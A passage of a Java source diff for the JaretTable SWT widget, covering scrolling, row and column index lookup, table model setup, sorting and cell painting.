redraw(IColumn column) { + Rectangle r = getColumnBounds(column); + if (r != null) { + syncedRedraw(r.x, r.y, r.width, r.height); + } + } + + /** + * Redraw a region. This method can be called from any thread. + * + * @param x x coordinate + * @param y y coordinate + * @param width width of the region + * @param height height of the region + */ + private void syncedRedraw(final int x, final int y, final int width, final int height) { + Runnable r = new Runnable() { + public void run() { + if (!isDisposed()) { + redraw(x, y, width, height, true); + } + } + }; + Display.getCurrent().syncExec(r); + } + + /** + * Redraw complete area. Safe to call from any thread. + * + */ + private void syncedRedraw() { + Runnable r = new Runnable() { + public void run() { + if (!isDisposed()) { + redraw(); + } + } + }; + Display.getCurrent().syncExec(r); + } + + // / end redra methods + + /** + * Update the scrollbars. + */ + protected void updateScrollBars() { + updateYScrollBar(); + updateXScrollBar(); + } + + /** + * Update the horiontal scrollbar. + */ + private void updateXScrollBar() { + if (Display.getCurrent() != null) { + Display.getCurrent().syncExec(new Runnable() { + public void run() { + ScrollBar scroll = getHorizontalBar(); + // scroll may be null + if (scroll != null) { + _oldHorizontalScroll = -1; // make sure no optimization will be applied + scroll.setMinimum(0); + scroll.setMaximum(getTotalWidth() - getFixedColumnsWidth()); + scroll.setThumb(getWidth() - getFixedColumnsWidth()); + scroll.setIncrement(50); // increment for arrows + scroll.setPageIncrement(getWidth()); // page increment areas + } + } + }); + } + } + + /** last horizontal scroll value for scroll optimization. */ + private int _oldHorizontalScroll = -1; + /** last vertical scroll value for scroll optimization. */ + private int _oldVerticalScroll = -1; + + /** if true use optimized scrolling. */ + private boolean _optimizeScrolling = true; + + /** + * Handle a change of the horizontal scrollbar. + * + * @param event SelectionEvent + */ + private void handleHorizontalScroll(SelectionEvent event) { + int value = getHorizontalBar().getSelection() + getFixedColumnsWidth(); + int colIdx = getColIdxForAbsX(value); + int offset = value - getAbsBeginXForColIdx(colIdx); + int diff = _oldHorizontalScroll - value; + + if (Math.abs(diff) > _tableRect.width / 2 || _oldHorizontalScroll == -1 || !_optimizeScrolling) { + _firstColIdx = colIdx; + _firstColPixelOffset = offset; + redraw(); + } else { + if (diff > 0) { + scroll(_tableRect.x + diff, 0, _tableRect.x, 0, _tableRect.width - diff, getHeight(), false); + } else { + diff = -diff; + scroll(_tableRect.x, 0, _tableRect.x + diff, 0, _tableRect.width - diff, getHeight(), false); + } + _firstColIdx = colIdx; + _firstColPixelOffset = offset; + } + _oldHorizontalScroll = value; + } + + /** + * Update the vertical scrollbar if present. + */ + public void updateYScrollBar() { + if (Display.getCurrent() != null) { + Display.getCurrent().syncExec(new Runnable() { + public void run() { + ScrollBar scroll = getVerticalBar(); + // scroll may be null + if (scroll != null) { + _oldVerticalScroll = -1; // guarantee a clean repaint + scroll.setMinimum(0); + scroll.setMaximum(getTotalHeight() - getFixedRowsHeight()); + int height = getHeight(); + if (_tableRect != null) { + height = _tableRect.height; + } + scroll.setThumb(height); // - getFixedRowsHeight() - getHeaderHeight()); + scroll.setIncrement(50); // increment for arrows + scroll.setPageIncrement(getHeight()); // page increment areas + scroll.setSelection(getAbsBeginYForRowIdx(_firstRowIdx) + _firstRowPixelOffset + + getFixedRowsHeight()); + } + } + }); + } + } + + /** + * Handle a selection on the vertical scroll bar (a vertical scroll). + * + * @param event selection + */ + private void handleVerticalScroll(SelectionEvent event) { + int value = getVerticalBar().getSelection() + getFixedRowsHeight(); + int rowidx = getRowIdxForAbsY(value); + int offset = value - getAbsBeginYForRowIdx(rowidx); + int oldFirstIdx = _firstRowIdx; + int oldPixelOffset = _firstRowPixelOffset; + + int diff = _oldVerticalScroll - value; + + if (Math.abs(diff) > _tableRect.height / 2 || _oldVerticalScroll == -1 || !_optimizeScrolling) { + update(); + _firstRowIdx = rowidx; + _firstRowPixelOffset = offset; + _rowInfoCache = null; // kill the cache + redraw(); + } else { + Rectangle completeArea = new Rectangle(_fixedColRect.x, _tableRect.y, _fixedColRect.width + + _tableRect.width, _tableRect.height); + + if (diff > 0) { + scroll(0, completeArea.y + diff, 0, completeArea.y, getWidth(), completeArea.height - diff, false); + } else { + diff = -diff; + scroll(0, completeArea.y, 0, completeArea.y + diff, getWidth(), completeArea.height - diff, false); + } + _firstRowIdx = rowidx; + _firstRowPixelOffset = offset; + _rowInfoCache = null; // kill the cache + } + _oldVerticalScroll = value; + firePropertyChange(PROPERTYNAME_FIRSTROWIDX, oldFirstIdx, _firstRowIdx); + firePropertyChange(PROPERTYNAME_FIRSTROWPIXELOFFSET, oldPixelOffset, _firstRowPixelOffset); + } + + /** + * Get the absolute begin x for a column. + * + * @param colIdx index of the column (in the displayed columns) + * @return the absolute x coordinate + */ + public int getAbsBeginXForColIdx(int colIdx) { + int x = 0; + for (int idx = 0; idx < colIdx; idx++) { + IColumn col = _cols.get(idx); + int colWidth = _tvs.getColumnWidth(col); + x += colWidth; + } + return x; + } + + /** + * Get the absolute begin x for a column. + * + * @param column the column + * @return the absolute x coordinate + */ + public int getAbsBeginXForColumn(IColumn column) { + return getAbsBeginXForColIdx(_cols.indexOf(column)); + } + + /** + * Retrieve the beginning x coordinate for a column. + * + * @param column column + * @return beginning x coordinate for drawing that column + */ + private int xForCol(IColumn column) { + int x = getAbsBeginXForColIdx(_cols.indexOf(column)); + int begin = getAbsBeginXForColIdx(_firstColIdx) + _firstColPixelOffset; + return x - begin + _fixedColRect.width; + } + + /** + * Return the (internal) index of the column corresponding to the given x coordinate value (absolute value taking + * all visible columns into account). + * + * @param absX absolute x coordinate + * @return the column index in the internal list of columns (or -1 if none could be determined) + */ + public int getColIdxForAbsX(int absX) { + int idx = 0; + int x = 0; + while (x <= absX && idx < _cols.size()) { + IColumn col = _cols.get(idx); + int colWidth = _tvs.getColumnWidth(col); + x += colWidth; + idx++; + } + return idx < _cols.size() ? idx - 1 : -1; + } + + /** + * Return the column for an absolute x coordinate. + * + * @param absX absolute x coordinate + * @return the column for the coordinate + */ + public IColumn getColumnForAbsX(int absX) { + return _cols.get(getColIdxForAbsX(absX)); + } + + /** + * Return the absolute y coordinate for the given row (given by index). + * + * @param rowidx index of the row + * @return absolute y coordinate (of all rows) for the row + */ + private int getAbsBeginYForRowIdx(int rowidx) { + int y = 0; + for (int idx = 0; idx < rowidx; idx++) { + IRow row = _rows.get(idx); + int rowHeight = _tvs.getRowHeight(row); + y += rowHeight; + } + return y; + } + + /** + * Get row index for an absolute y coordinate (thought on the full height table with all rows). + * + * @TODO optimize + * @param absY absolute y position (thought on the full table height) + * @return index of the corresponding row + */ + public int getRowIdxForAbsY(int absY) { + int idx = 0; + int y = 0; + while (y <= absY) { + IRow row = _rows.get(idx); + int rowHeight = _tvs.getRowHeight(row); + y += rowHeight; + idx++; + } + return idx - 1; + } + + /** + * Retrie internal index of gicen row. + * + * @param row row + * @return internal index or -1 if the row is not in the internal list + */ + private int getRowIdx(IRow row) { + return row != null ? _rows.indexOf(row) : -1; + } + + /** + * Retrieve the row corresponding to a specified y coordinate. + * + * @param y y + * @return row for that y ycoordinate or null if no row could be determined. + */ + public IRow rowForY(int y) { + if ((y < _tableRect.y || y > _tableRect.y + _tableRect.height) && _fixedRows == 0) { + return null; + } + + for (RowInfo rInfo : getRowInfos()) { + if (y >= rInfo.y && y < rInfo.y + rInfo.height) { + return rInfo.row; + } + } + return null; + } + + /** + * Retrive the list of currently availbale RowInfo etries. + * + * @return list of rowinfos + */ + private List getRowInfos() { + if (_rowInfoCache == null) { + fillRowInfoCache(); + } + return _rowInfoCache; + } + + /** + * Fill the cache of row infos for the current viewconfiguration. + */ + private void fillRowInfoCache() { + if (_rowInfoCache != null) { + return; + } + _rowInfoCache = new ArrayList(); + + // fixed row area + int y = 0; + if (_fixedRows > 0) { + y = _fixedRowRect.y; + for (int rIdx = 0; rIdx < _fixedRows; rIdx++) { + IRow row = _rows.get(rIdx); + int rHeight = _tvs.getRowHeight(row); + _rowInfoCache.add(new RowInfo(row, y, rHeight, true)); + y += rHeight; + } + + } + // normal table area + int rIdx = _firstRowIdx; + y = _tableRect.y - _firstRowPixelOffset; + + while (y < getHeight() && rIdx < _rows.size()) { + IRow row = _rows.get(rIdx); + int rHeight = _tvs.getRowHeight(row); + _rowInfoCache.add(new RowInfo(row, y, rHeight, false)); + y += rHeight; + rIdx++; + } + } + + /** + * Retrieve a row from the internal list of rows. + * + * @param idx index in the internal list + * @return the row for idx + */ + private IRow rowForIdx(int idx) { + return _rows.get(idx); + } + + /** + * Retrieve the column corresponding to a x coordinate. + * + * @param x x + * @return the corresponding column or null if none could be determined + */ + public IColumn colForX(int x) { + if ((x < _tableRect.x || x > _tableRect.x + _tableRect.width) && _fixedColumns == 0) { + return null; + } + for (ColInfo cInfo : _colInfoCache) { + if (x >= cInfo.x && x < cInfo.x + cInfo.width) { + return cInfo.column; + } + } + return null; + } + + /** + * Get the column for a given index. + * + * @param idx index + * @return tghe column + */ + private IColumn colForIdx(int idx) { + return _cols.get(idx); + } + + /** + * Get the index of a given column. + * + * @param column column + * @return the index of the column or -1 if no index could be given + */ + private int getColumnIdx(IColumn column) { + return column != null ? _cols.indexOf(column) : -1; + } + + /** + * Retrieve TableXCell for given pixel coordinates. + * + * @param x pixel coordinate x + * @param y pixel coordinate y + * @return table cel if found or null if no cell can be found + */ + public IJaretTableCell getCell(int x, int y) { + if (_tableRect.contains(x, y)) { + IRow row = rowForY(y); + IColumn col = colForX(x); + if (row == null || col == null) { + return null; + } + return new JaretTableCellImpl(row, col); + } + return null; + } + + /** + * Retrieve a table cell for given index coordinates. + * + * @param colIdx column index (X) + * @param rowIdx row index (Y) + * @return table cell + */ + public IJaretTableCell getCellForIdx(int colIdx, int rowIdx) { + return new JaretTableCellImpl(rowForIdx(rowIdx), colForIdx(colIdx)); + } + + /** + * Set a table model to be displayed by the jaret table. + * + * @param model the table model to be displayed. + */ + public void setTableModel(IJaretTableModel model) { + if (_model != null) { + _model.removeJaretTableModelListener(this); + } + _model = model; + _model.addJaretTableModelListener(this); + + _hierarchicalModel = null; + + // update the sorted columnlist + List cList = new ArrayList(); + for (int i = 0; i < model.getColumnCount(); i++) { + cList.add(model.getColumn(i)); + } + _tvs.setSortedColumns(cList); + + updateColumnList(); + registerRowsForOptimization(); + updateRowList(); + + updateYScrollBar(); + updateXScrollBar(); + redraw(); + } + + /** + * Set a hierarchical table model. This will internally create a StdHierrahicalTableModel that is a normal + * TbaleModel incluuding only the expanded rows. + * + * @param hmodel hierarchical model to display + */ + public void setTableModel(IHierarchicalJaretTableModel hmodel) { + if (_model != null) { + _model.removeJaretTableModelListener(this); + } + if (_tvs != null) { + _tvs.removeTableViewStateListener(this); + } + _tvs = new DefaultHierarchicalTableViewState(); + _tvs.addTableViewStateListener(this); + _model = new StdHierarchicalTableModel(hmodel, (IHierarchicalTableViewState) _tvs); + _model.addJaretTableModelListener(this); + + _hierarchicalModel = hmodel; + + updateColumnList(); + registerRowsForOptimization(); + updateRowList(); + updateColumnList(); + updateYScrollBar(); + updateXScrollBar(); + redraw(); + } + + /** + * Retrieve a hierarchical model if set. + * + * @return hierarchical model or null + */ + public IHierarchicalJaretTableModel getHierarchicalModel() { + return _hierarchicalModel; + } + + /** + * Retrieve the displayed table model. + * + * @return the table model + */ + public IJaretTableModel getTableModel() { + return _model; + } + + /** + * Add a column to the underlying table model. Model has to be set for that operation or an IllegalStateException + * will be thrown. + * + * @param column column to be added + */ + public void addColumn(IColumn column) { + if (_model != null) { + _model.addColumn(column); + } else { + throw new IllegalStateException("model has to be set for the operation."); + } + } + + /** + * Registers all rows in the model for optimization that have a mode indicating optimal height. + * + */ + private void registerRowsForOptimization() { + if (_model != null) { + for (int i = 0; i < _model.getRowCount(); i++) { + IRow row = _model.getRow(i); + if (_tvs.getRowHeigthMode(row) == ITableViewState.RowHeightMode.OPTANDVAR + || _tvs.getRowHeigthMode(row) == ITableViewState.RowHeightMode.OPTIMAL) { + optimizeHeight(row); + } + } + } + } + + /** + * Update the internal rowlist according to filter and sorter. + * + */ + private void updateRowList() { + _rows = new ArrayList(); + if (_model != null) { + for (int i = 0; i < _model.getRowCount(); i++) { + IRow row = _model.getRow(i); + if (i < _fixedRows) { + // fixed rows are exluded from filtering + _rows.add(row); + } else if (_rowFilter == null || (_rowFilter != null && _rowFilter.isInResult(row))) { + if (!_autoFilterEnabled || _autoFilter.isInResult(row)) { + if (!_rows.contains(row)) { + _rows.add(row); + } + } + } + } + } + + // sort either by column sort order or by a set row sorter + RowComparator comparator = new RowComparator(); + IRowSorter rs = null; + if (comparator.canSort()) { + rs = comparator; + } else { + rs = _rowSorter; + } + if (rs != null) { + List fixedRows = new ArrayList(); + // the exclusion of the fixed rows may be solved more elegant ... + if (_excludeFixedRowsFromSorting) { + for (int i = 0; i < _fixedRows; i++) { + fixedRows.add(_rows.remove(0)); + } + } + Collections.sort(_rows, rs); + if (_excludeFixedRowsFromSorting) { + for (int i = fixedRows.size() - 1; i >= 0; i--) { + _rows.add(0, fixedRows.get(i)); + } + } + } + // to be sure no one misses this + updateYScrollBar(); + } + + /** + * Get the index of the given row in the internal, fileterd list of rows. + * + * @param row row to retrieve the index for + * @return index of the row or -1 if the row is not in filtered list of rows + */ + public int getInternalRowIndex(IRow row) { + return _rows.indexOf(row); + } + + /** + * Comparator based on the sorting settings of the columns. + * + * @author Peter Kliem + * @version $Id: JaretTable.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ + public class RowComparator extends PropertyObservableBase implements IRowSorter { + /** arary of Row comparators (IColumns are Comparators for rows!). */ + private List> _comparators = new ArrayList>(); + + /** + * Construct it. Initializes itself with the columns. + */ + public RowComparator() { + IColumn[] arr = new IColumn[_cols.size()]; + int max = 0; + for (IColumn col : _cols) { + int sortP = _tvs.getColumnSortingPosition(col); + if (sortP > 0) { + arr[sortP] = col; + if (sortP > max) { + max = sortP; + } + } + } + for (int i = 1; i <= max; i++) { + _comparators.add(arr[i]); + } + + } + + /** + * Check whether the comparator is able to sort. + * + * @return true if comparators are present + */ + public boolean canSort() { + return _comparators.size() > 0; + } + + /** + * {@inheritDoc} + */ + public int compare(IRow r1, IRow r2) { + for (Comparator comp : _comparators) { + int res = comp.compare(r1, r2); + res = _tvs.getColumnSortingDirection((IColumn) comp) ? res : -res; + if (res != 0) { + return res; + } + } + return 0; + } + + } + + /** + * Update the internal column list. Should be called whenever a column changes visibility or the column order has + * been changed. + * + */ + public void updateColumnList() { + _cols = new ArrayList(); + // these are columns to take into account + for (int i = 0; i < _model.getColumnCount(); i++) { + if (i < _tvs.getSortedColumns().size()) { + IColumn col = _tvs.getSortedColumns().get(i); + if (_tvs.getColumnVisible(col)) { + _cols.add(col); + } + } + } + // if not all columns have been in the sorted columns - add the other columns + for (int i = 0; i < _model.getColumnCount(); i++) { + IColumn col = _model.getColumn(i); + if (!_cols.contains(col) && _tvs.getColumnVisible(col)) { + _cols.add(col); + } + } + } + + /** + * Handling of the paint event -> do the painting. + * + * @param event PaintEvent + */ + private void onPaint(PaintEvent event) { + if (event.width == 0 || event.height == 0) { + return; + } +// System.out.println("Paint event "+event); + long time = System.currentTimeMillis(); + // kill the cache + _rowInfoCache = null; + GC gc = event.gc; // gc for painting + + // do rowheight optimizations for registered rows + doRowHeightOptimization(gc); + + // do the actual painting + paint(gc, getWidth(), getHeight()); + if (DEBUGPAINTTIME) { + System.out.println("time " + (System.currentTimeMillis() - time) + " ms"); + } + } + + /** + * Calculate the layout of the table area rectangles. + * + * @param width width of the table + * @param height height of the table + */ + private void preparePaint(int width, int height) { + if (_drawHeader) { + _headerRect = new Rectangle(0, 0, width, _headerHeight); + } else { + _headerRect = new Rectangle(0, 0, 0, 0); + } + + if (_autoFilterEnabled) { + // preferred height of the autofilters + int autoFilterHeight = getPreferredAutoFilterHeight(); + _autoFilterRect = new Rectangle(0, _headerRect.y + _headerRect.height, _headerRect.width, autoFilterHeight); + _tableRect = new Rectangle(0, _autoFilterRect.y + _autoFilterRect.height, width, height + - _autoFilterRect.height); + } else { + _tableRect = new Rectangle(0, _headerRect.y + _headerRect.height, width, height - _headerRect.height); + } + + // do we have fixed cols? correct other rects and calc fixed col rect + if (_fixedColumns > 0) { + int fWidth = getFixedColumnsWidth(); + _headerRect.x = _headerRect.x + fWidth; + _headerRect.width = _headerRect.width - fWidth; + + if (_autoFilterEnabled) { + _autoFilterRect.x = _headerRect.x; + _autoFilterRect.width = _headerRect.width; + } + + _tableRect.x = _headerRect.x; + _tableRect.width = _headerRect.width; + + _fixedColRect = new Rectangle(0, _tableRect.y, fWidth, _tableRect.height); + + } else { + _fixedColRect = new Rectangle(_tableRect.x, _tableRect.y, 0, _tableRect.height); + } + + // do we have fixed rows? correct other rects nd setup the fixed row rect + if (_fixedRows > 0) { + int fHeight = getFixedRowsHeight(); + if (_autoFilterEnabled) { + _fixedRowRect = new Rectangle(0, _autoFilterRect.y + _autoFilterRect.height, width, + getFixedRowsHeight()); + } else { + _fixedRowRect = new Rectangle(0, _headerRect.y + _headerRect.height, width, getFixedRowsHeight()); + } + + _tableRect.y = _tableRect.y + fHeight; + _tableRect.height = _tableRect.height - fHeight; + if (_fixedColumns > 0) { + _fixedColRect.y = _tableRect.y; + _fixedColRect.height = _tableRect.height; + } + } else { + // ensure fixed Row rect is available + _fixedRowRect = new Rectangle(_tableRect.x, _tableRect.y, _tableRect.width, 0); + } + + } + + /** + * Retrieve the maximum preferred height of the autofilter controls. + * + * @return preferred height for the autofilters + */ + private int getPreferredAutoFilterHeight() { + int result = 0; + for (IAutoFilter af : _autoFilterMap.values()) { + int height = af.getControl().computeSize(SWT.DEFAULT, SWT.DEFAULT).y; + if (height > result) { + result = height; + } + } + return result; + } + + /** + * The main paint method. + * + * @param gc GC + * @param width width of the control + * @param height height of the control + */ + public void paint(GC gc, int width, int height) { + preparePaint(width, height); + + // clear bg + Color bg = gc.getBackground(); + gc.setBackground(getBackground()); + gc.fillRectangle(gc.getClipping()); + gc.setBackground(bg); + + drawHeader(gc, width, height); + drawTableArea(gc, width, height); + // set the bounds for the output filters + setUpAutoFilter(gc); + + // additional rendering + if (_isFillDrag) { + drawFillDragBorder(gc); + } + + } + + /** + * Setup the autofilter components. + * + * @param gc GC + */ + private void setUpAutoFilter(GC gc) { + if (_autoFilterEnabled) { + for (IColumn column : _cols) { + IAutoFilter af = _autoFilterMap.get(column); + ColInfo cInfo = getColInfo(column); + if (af != null && cInfo == null) { + af.getControl().setVisible(false); + } else { + if (af != null) { + af.getControl().setVisible(true); + af.getControl().setBounds(cInfo.x, _autoFilterRect.y, cInfo.width, _autoFilterRect.height); + } + } + } + } else { + for (IColumn column : _cols) { + IAutoFilter af = _autoFilterMap.get(column); + if (af != null) { + af.getControl().setVisible(false); + } + } + } + } + + /** + * Draw the table header. + * + * @param gc gc + * @param width width of the table + * @param height height of the table + */ + private void drawHeader(GC gc, int width, int height) { + if (_headerRenderer != null && _drawHeader) { + // draw headers for fixed columns + for (int cIdx = 0; cIdx < _fixedColumns; cIdx++) { + int x = getAbsBeginXForColIdx(cIdx); + IColumn col = _cols.get(cIdx); + int colwidth = _tvs.getColumnWidth(col); + // fixed cols may render wherever they want if they disable clipping + if (!_headerRenderer.disableClipping()) { + gc.setClipping(x, _headerRect.y, colwidth, _headerRect.height); + } + // column may indicate that no header should be painted + if (col.displayHeader()) { + drawHeader(gc, x, colwidth, col); + } + } + + // draw headers table area + int x = -_firstColPixelOffset; + x += _tableRect.x; + int cIdx = _firstColIdx; + while (x < getWidth() && cIdx < _cols.size()) { + IColumn col = _cols.get(cIdx); + int colwidth = _tvs.getColumnWidth(col); + int xx = x > _headerRect.x ? x : _headerRect.x; + int clipWidth = x > _headerRect.x ? colwidth : colwidth - _firstColPixelOffset; + if (!_headerRenderer.disableClipping()) { + gc.setClipping(xx, _headerRect.y, clipWidth, _headerRect.height); + } else if (_fixedColumns > 0) { + // if fixed columns are present the header renderer of ordinary columns may not interfere with the + // fixed region + gc.setClipping(xx, _headerRect.y, _tableRect.width - xx, _headerRect.height); + } + + // column may indicate that no header should be painted + if (col.displayHeader()) { + drawHeader(gc, x, colwidth, col); + } + + x += colwidth; + cIdx++; + } + } + + } + + /** + * Render the header for one column. + * + * @param gc gc + * @param x starting x + * @param colwidth width + * @param col column + */ + private void drawHeader(GC gc, int x, int colwidth, IColumn col) { + Rectangle area = new Rectangle(x, _headerRect.y, colwidth, _headerRect.height); + int sortingPos = _tvs.getColumnSortingPosition(col); + boolean sortingDir = _tvs.getColumnSortingDirection(col); + _headerRenderer.draw(gc, area, col, sortingPos, sortingDir, false); + } + + /** + * Convenience method to check whether a certain cell is selected. + * + * @param row row of the cell + * @param column column of the cell + * @return true if the cell is selected (by itself, a row of a column selection) + */ + public boolean isSelected(IRow row, IColumn column) { + if (_selectionModel.getSelection().getSelectedRows().contains(row)) { + return true; + } + if (_selectionModel.getSelection().getSelectedColumns().contains(column)) { + return true; + } + IJaretTableCell cell = new JaretTableCellImpl(row, column); + if (_selectionModel.getSelection().getSelectedCells().contains(cell)) { + return true; + } + return false; + } + + /** + * Draw the main table area including fixed rows and columns. + * + * @param gc gc + * @param width width of the area + * @param height height of the area + */ + private void drawTableArea(GC gc, int width, int height) { + _colInfoCache.clear(); + boolean colCacheFilled = false; + + Rectangle clipSave = gc.getClipping(); + + // iterate over all rows in the row info cache + for (RowInfo rowInfo : getRowInfos()) { + int y = rowInfo.y; + IRow row = rowInfo.row; + int rHeight = _tvs.getRowHeight(row); + + int yclip = y; + if (rowInfo.fixed && yclip < _fixedRowRect.y) { + yclip = _fixedRowRect.y; + } else if (!rowInfo.fixed && yclip < _tableRect.y) { + yclip = _tableRect.y; + } + + int x = 0; + // fixed columns + if (_fixedColumns > 0) { + x = _fixedColRect.x; + for (int cIdx = 0; cIdx < _fixedColumns; cIdx++) { + IColumn col = _cols.get(cIdx); + int colwidth = _tvs.getColumnWidth(col); + if (!colCacheFilled) { + _colInfoCache.add(new ColInfo(col, x, colwidth)); + } + // clipping is extended by 1 for border drawing + gc.setClipping(x, yclip, colwidth + 1, rHeight + 1); + Rectangle area = new Rectangle(x, y, colwidth, rHeight); + + drawCell(gc, area, row, col); + + x += colwidth; + } + } + + // columns in normal table area + x = _tableRect.x - _firstColPixelOffset; + int cIdx = _firstColIdx; + while (x < getWidth() && cIdx < _cols.size()) { + IColumn col = _cols.get(cIdx); + int colwidth = _tvs.getColumnWidth(col); + if (!colCacheFilled) { + _colInfoCache.add(new ColInfo(col, x, colwidth)); + } + int xx = x > _tableRect.x ? x : _tableRect.x; + int clipWidth = x > _tableRect.x ? colwidth : colwidth - _firstColPixelOffset; + // clipping is extended by 1 for border drawing + gc.setClipping(xx, yclip, clipWidth + 1, rHeight + 1); + Rectangle area = new Rectangle(x, y, colwidth, rHeight); + + drawCell(gc, area, row, col); + + x += colwidth; + cIdx++; + } + colCacheFilled = true; + } + + // TODO this is a workaround for the autofilter to be rendered correctly if the + // filter result is no rows + if (!colCacheFilled) { + // fixed cols + int x = 0; + if (_fixedColumns > 0) { + for (int i = 0; i < _fixedColumns; i++) { + IColumn col = _cols.get(i); + int colwidth = _tvs.getColumnWidth(col); + _colInfoCache.add(new ColInfo(col, x, colwidth)); + x += colwidth; + } + } + + x = -_firstColPixelOffset; + x += _tableRect.x; + int cIdx = _firstColIdx; + while (x < getWidth() && cIdx < _cols.size()) { + IColumn col = _cols.get(cIdx); + int colwidth = _tvs.getColumnWidth(col); + _colInfoCache.add(new ColInfo(col, x, colwidth)); + x += colwidth; + cIdx++; + } + + } + + // draw extra lines to separate fixed areas + if (_fixedColRect != null && _fixedColumns > 0) { + int maxY = _fixedColRect.y + _fixedColRect.height - 1; + if (_rows != null && _rows.size() > 0) { + IRow lastRow = _rows.get(_rows.size() - 1); + Rectangle bounds = getRowBounds(lastRow); + if (bounds != null) { + maxY = bounds.y + bounds.height; + } + } + gc.setClipping(new Rectangle(0, 0, width, height)); + int fx = _fixedColRect.x + _fixedColRect.width - 1; + gc.drawLine(fx, _fixedRowRect.y, fx, maxY); + gc.setClipping(clipSave); + } + + if (_fixedRowRect != null && _fixedRows > 0) { + int maxX = _fixedRowRect.x + _fixedRowRect.width - 1; + if (_cols != null && _cols.size() > 0) { + IColumn lastCol = _cols.get(_cols.size() - 1); + int mx = xForCol(lastCol) + _tvs.getColumnWidth(lastCol); + maxX = mx; + } + gc.setClipping(new Rectangle(0, 0, width, height)); + int fy = _fixedRowRect.y + _fixedRowRect.height - 1; + gc.drawLine(_fixedRowRect.x, fy, maxX, fy); + gc.setClipping(clipSave); + } + + } + + /** + * Draw a single cell. Drawing is accomplished by the associated cell renderer. However the mark for fill dragging + * is drawn by this method. + * + * @param gc gc + * @param area drawing area the cell takes up + * @param row row of the cell + * @param col olumn of the cell + */ + private void drawCell(GC gc, Rectangle area, IRow row, IColumn col) { + ICellStyle bc = _tvs.getCellStyle(row, col); + ICellRenderer cellRenderer = getCellRenderer(row, col); + + boolean hasFocus = false; + if (_focussedRow == row && _focussedColumn == col) { // == is appropriate: these are really the same objects! + hasFocus = true; + } + boolean isSelected = isSelected(row, col); + cellRenderer.draw(gc, this, bc, area, row, col, hasFocus, isSelected, false); + if (_supportFillDragging && isSelected && isDragMarkerCell(row, col)) { + drawFillDragMark(gc, area); + } + } + + /** if a rectangular area is selected, this holds the rectangle ofth eindizes. */ + private Rectangle _selectedIdxRectangle = null; + + /** + * Retrieve the index rectangle of selected cells. + * + * @return rectangel made from the indizes of the selected cells if a rectangular area is selected (all cells) + */ + private Rectangle getSelectedRectangle() { + IJaretTableSelection selection = getSelectionModel().getSelection(); + if (!selection.isEmpty() && _selectedIdxRectangle == null) { + Set cells = selection.getAllSelectedCells(getTableModel()); + int minx = -1; + int maxx = -1; + int miny = -1; + int maxy = -1; + // line is the outer map + Map> cellMap = new HashMap>(); + for (IJaretTableCell cell : cells) { + Point p = getCellDisplayIdx(cell); + Map lineMap = cellMap.get(p.y); + if (lineMap == null) { + lineMap = new HashMap(); + cellMap.put(p.y, lineMap); + } + if (miny == -1 || p.y < miny) { + miny = p.y; + } + if (maxy == -1 || p.y > maxy) { + maxy = p.y; + } + lineMap.put(p.x, cell); + if (minx == -1 || p.x < minx) { + minx = p.x; + } + if (maxx == -1 || p.x > maxx) { + maxx = p.x; + } + } + // check if all cells are selected + boolean everythingSelected = true; + for (int y = miny; y <= maxy && everythingSelected; y++) { + Map lineMap = cellMap.get(y); + if (lineMap != null) { + for (int x = minx; x <= maxx; x++) { + IJaretTableCell cell = lineMap.get(x); + if (cell == null) { + everythingSelected = false; + break; + } + } + } else { + everythingSelected = false; + break; + } + } + if (everythingSelected) { + _selectedIdxRectangle = new Rectangle(minx, miny, maxx - minx + 1, maxy - miny + 1); + } else { + _selectedIdxRectangle = null; + } + } + return _selectedIdxRectangle; + } + + /** + * Check whether a cell is the cell that should currently be marked with the drag fill marker. + * + * @param row row of the cell + * @param col column of the cell + * @return true if it is the cell carrying the drag mark + */ + private boolean isDragMarkerCell(IRow row, IColumn col) { + Rectangle selIdxRect = getSelectedRectangle(); + if (selIdxRect != null) { + if (selIdxRect.width == 1 || selIdxRect.height == 1) { + int x = getColumnIdx(col); + int y = getRowIdx(row); + if (x == selIdxRect.x + selIdxRect.width - 1 && y == selIdxRect.y + selIdxRect.height - 1) { + return true; + } + } + } + + return false; + } + + /** + * Draws the fill drag mark. + * + * @param gc GC + * @param area drawing area of the cell carrying the marker + */ + private void drawFillDragMark(GC gc, Rectangle area) { + Color bg = gc.getBackground(); + gc.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_BLACK)); + _dragMarkerRect = new Rectangle(area.x + area.width - FILLDRAGMARKSIZE, + area.y + area.height - FILLDRAGMARKSIZE, FILLDRAGMARKSIZE, FILLDRAGMARKSIZE); + gc.fillRectangle(_dragMarkerRect); + gc.setBackground(bg); + } + + /** + * Draws a thicker border around the fill drag area. + * + * @param gc GC + */ + private void drawFillDragBorder(GC gc) { + // TODO + // if (_firstCellSelectX != -1) { + // IRow row = rowForIdx(_firstCellSelectX); + // IColumn column = colForIdx(_firstCellSelectY); + // Rectangle firstCellBounds = getCellBounds(row, column); + // if (firstCellBounds == null) { + // firstCellBounds = new Rectangle(-1, -1, -1, -1); + // if (getRowBounds(row) != null) { + // firstCellBounds = getRowBounds(row); + // } else if (getColumnBounds(column)!=null) { + // firstCellBounds = getColumnBounds(column); + // } else + // } + // } + } + + /** + * Set the header drawing height. + * + * @param newHeight height in pixel. + */ + public void setHeaderHeight(int newHeight) { + if (newHeight != _headerHeight) { + int oldVal = _headerHeight; + _headerHeight = newHeight; + redraw(); + firePropertyChange(PROPERTYNAME_HEADERHEIGHT, oldVal, _headerHeight); + } + } + + /** + * Retrieve the header height. + * + * @return header height (pixel) + */ + public int getHeaderHeight() { + return _headerHeight; + } + + /** + * Total height of all possibly displayed rows (filter applied!). + * + * @return sum of all rowheigths + */ + public int getTotalHeight() { + if (_rows != null) { + int h = 0; + for (IRow row : _rows) { + h += _tvs.getRowHeight(row); + } + return h; + } else { + return 0; + } + } + + /** + * Total height of the first n rows. + * + * @param numRows number of rows to sum up the heights of + * @return sum of the first first n rowheights + */ + public int getTotalHeight(int numRows) { + if (_rows != null) { + int h = 0; + for (int i = 0; i < numRows; i++) { + IRow row = _rows.get(i); + h += _tvs.getRowHeight(row); + } + return h; + } else { + return 0; + } + } + + /** + * Retrieve total width of all possibly displayed columns. + * + * @return sum of colwidhts + */ + public int getTotalWidth() { + if (_cols != null) { + int width = 0; + for (IColumn col : _cols) { + width += _tvs.getColumnWidth(col); + } + return width; + } else { + return 0; + } + } + + /** + * Retrieve total width of the first n columns. + * + * @param n number of colums to take into account + * @return sum of the first n column withs + */ + public int getTotalWidth(int n) { + if (_cols != null) { + int width = 0; + for (int i = 0; i < n; i++) { + IColumn col 